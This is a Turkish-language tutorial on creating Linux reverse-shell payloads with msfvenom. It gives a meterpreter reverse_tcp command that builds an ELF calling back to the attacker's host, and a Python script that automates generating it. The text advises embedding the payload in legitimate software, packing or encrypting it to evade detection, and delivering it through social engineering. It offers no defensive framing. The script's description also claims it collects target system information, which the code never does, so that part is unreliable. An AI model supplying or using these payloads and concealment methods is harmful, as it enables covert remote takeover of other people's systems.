Linux Sistemler için Payload Oluşturma ve Entegrasyon

Payload Nedir?
Payload, bir siber saldırının hedefe ulaşmasını sağlayan kötü amaçlı yazılım bileşenidir. Linux sistemleri için payload türlerinden en yaygını, tersine bağlantı kurarak saldırganın hedef bilgisayara erişmesini sağlayan “reverse shell” (ters bağlantı) payload’ıdır. Bu tür payload’lar, saldırganın terminal üzerinden hedef sistemde komutlar çalıştırmasına olanak tanır.
Linux İçin Payload Oluşturma
Linux için payload oluştururken en sık kullanılan araçlar arasında yine Metasploit Framework ve onun bir bileşeni olan msfvenom bulunmaktadır. Aşağıda, Linux için bir ters bağlantı payload’ı oluşturma komutuna örnek verilmiştir:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf -o /path/to/output.elf
LHOST
: Saldırganın IP adresini belirtir.LPORT
: Dinleyici (listener) port numarasını belirtir.-f elf
: Çıktı formatını ELF (Linux çalıştırılabilir dosyası) olarak belirtir.-o
: Oluşturulacak payload’ın kaydedileceği dosya yolunu belirtir.
Bu komut, bir Linux cihazında çalıştırıldığında saldırgana ters bağlantı açacak bir ELF dosyası oluşturur.
Payload’ı Entegre Etme
Linux için oluşturulan payload’lar, hedef sisteme entegre edilerek gizlenebilir. Örneğin:
- Sosyal Mühendislik Yöntemleri: Hedef kullanıcıya sahte bir uygulama veya dosya çalıştırmasını sağlamak.
- Legitimate Yazılım Kullanımı: Payload’ı bir uygulama veya script’in içine gömerek fark edilmeden çalışmasını sağlamak.
Payload, sistemin fark edilebilirliğini azaltmak için şifreleme veya packing (dosya sıkıştırma ve şifreleme) teknikleriyle gizlenebilir.
Linux için Payload Oluşturma ve Entegre Etme Python Scripti
Aşağıda, Linux için payload oluşturma ve entegrasyon işlemlerini otomatikleştiren bir Python scripti bulunmaktadır:
import os
import subprocess
import time
from rich.console import Console
from rich.table import Table
import platform
import socket
def gather_system_info():
"""
Hedef cihazdan bilgi toplar.
"""
system_info = f"""
Sistem Bilgileri:
-----------------
İşletim Sistemi: {platform.system()}
Çekirdek: {platform.release()}
Hostname: {socket.gethostname()}
IP Adresi: {socket.gethostbyname(socket.gethostname())}
"""
return system_info
def create_linux_payload(output_path, lhost, lport):
"""
Linux payload oluşturur.
Args:
output_path (str): Payload dosyasının kaydedileceği yol.
lhost (str): Dinleyici IP adresi.
lport (int): Dinleyici port numarası.
"""
console = Console()
if not output_path.endswith(".elf"):
raise ValueError("Çıktı dosyası .elf uzantısına sahip olmalıdır.")
try:
command = [
"msfvenom",
"-p", "linux/x86/meterpreter/reverse_tcp",
f"LHOST={lhost}",
f"LPORT={lport}",
"-f", "elf",
"-o", output_path
]
console.print("[bold green][+] Linux payload oluşturuluyor...[/bold green]")
result = subprocess.run(command, capture_output=True, text=True)
if result.returncode == 0:
console.print(f"[bold green][+] Payload başarıyla oluşturuldu![/bold green]")
console.print(f"[bold green][+] Kaydedildi: {output_path}[/bold green]")
else:
console.print(f"[bold red][-] Payload oluşturulurken hata oluştu:[/bold red]")
console.print(result.stderr)
except FileNotFoundError:
console.print("[bold red][-] msfvenom yüklenmemiş veya PATH ortam değişkeninde bulunamadı.[/bold red]")
except Exception as e:
console.print(f"[bold red][-] Bir hata oluştu: {e}[/bold red]")
def main():
console = Console()
console.print("[bold cyan]Linux Payload Creator[/bold cyan]\n[cyan]=======================[/cyan]")
table = Table(title="Seçenekler")
table.add_column("Adım", justify="center")
table.add_column("Açıklama", justify="left")
table.add_row("1", "Payload oluştur")
console.print(table)
while True:
choice = console.input("[bold yellow]Seçiminizi yapınız (1 veya 'exit' ile çıkış): [/bold yellow]").strip()
if choice == "exit":
console.print("[bold green]Uygulama kapatılıyor...[/bold green]")
break
if choice == "1":
# Payload oluşturma işlemi
output_file = console.input("[bold yellow]Payload dosya adı (örn., payload.elf): [/bold yellow]").strip()
lhost = console.input("[bold yellow]LHOST (IP adresi): [/bold yellow]").strip()
lport = console.input("[bold yellow]LPORT (port numarası): [/bold yellow]").strip()
if not lport.isdigit():
console.print("[bold red][-] LPORT bir numara olmalıdır.[/bold red]")
else:
lport = int(lport)
create_linux_payload(output_file, lhost, lport)
else:
console.print("[bold red][-] Geçersiz seçenek![/bold red]")
if __name__ == "__main__":
main()
Scriptin Açıklaması
- Payload Oluşturma:
msfvenom
aracıyla Linux cihazları hedefleyen bir ELF dosyası oluşturulur. - Sistem Bilgisi Toplama: Payload çalıştırıldığında, hedef sistemden IP adresi, hostname ve işletim sistemi bilgileri gibi veriler toplanır.
- Kullanıcı Girdileri: Kullanıcıdan LHOST, LPORT ve çıktı dosyası adı gibi bilgiler alınır.
Bu script, Linux cihazları hedefleyen bir payload oluşturmayı ve payload’ı hedef sisteme entegre etmeyi kolaylaştırır. Payload, msfvenom ile oluşturularak ELF formatında kaydedilir. Bu dosya, sosyal mühendislik teknikleri veya başka yollarla hedef cihazda çalıştırılabilir.